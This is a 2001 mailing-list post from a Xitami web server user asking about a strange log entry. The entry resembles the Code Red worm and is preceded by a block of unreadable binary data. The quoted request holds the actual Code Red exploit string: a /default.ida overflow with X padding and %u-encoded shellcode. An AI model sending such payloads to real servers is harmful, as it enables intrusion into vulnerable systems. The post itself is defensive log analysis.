[Xitami] Curiouser log entry, like code red
tsw
xitami@lists.xitami.org
Thu, 09 Aug 2001 17:49:12 +0000
I recently got a single HTTP request, resembling ver. 2 of 'Code Red' but containing a *lot* of stuff at the beginning, much more than code red's N's and X's. Has anyone seen this before, or know what it is? I can email or post the entire request string if someone would like it. Below is an abbreviated copy; the spaces at the beginning are part of the logfile entry.
·4¦=¡S¤‚¨<Ó¬ JE£UšÅoÖŸSÿWÀ ×^Ü
„G(-!er¢’·ŸªñtMWßôþÿó(ÄÌ€~ÙžzD&«ï¨Î]*[ޱeιyš€Ì&–ô;û•Š"/}‚/ë
€¦› c™C´g]M!%Û‰eÈ®*3ä†ëÆÿó(ÄÍÐVXFrMÙBC‰†á|*DÚ(8lë‚}ÅhJ¿é«Ýþx¥?€ -$%¸
½(Ï×*÷5d•ù
ÿÌý¼-ßåÿó(ÄÌ€6Ø^+Ò... (a whole lot of the same stuff)
...m¨å´
hR±EKÈdpÇ>™5вŠ2ÿó(ÄÌÀFØ^SØ,p&r/Ä�2“Åí±}ËW¹ã€(b«J-?‹¦¨ö:À ríÀH·Õ™211.198.129.71 - - [05/Aug/2001:21:59:57 +0000] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a%20 HTTP/1.0" 404 0 "" ""
Thanks,
S. Wallace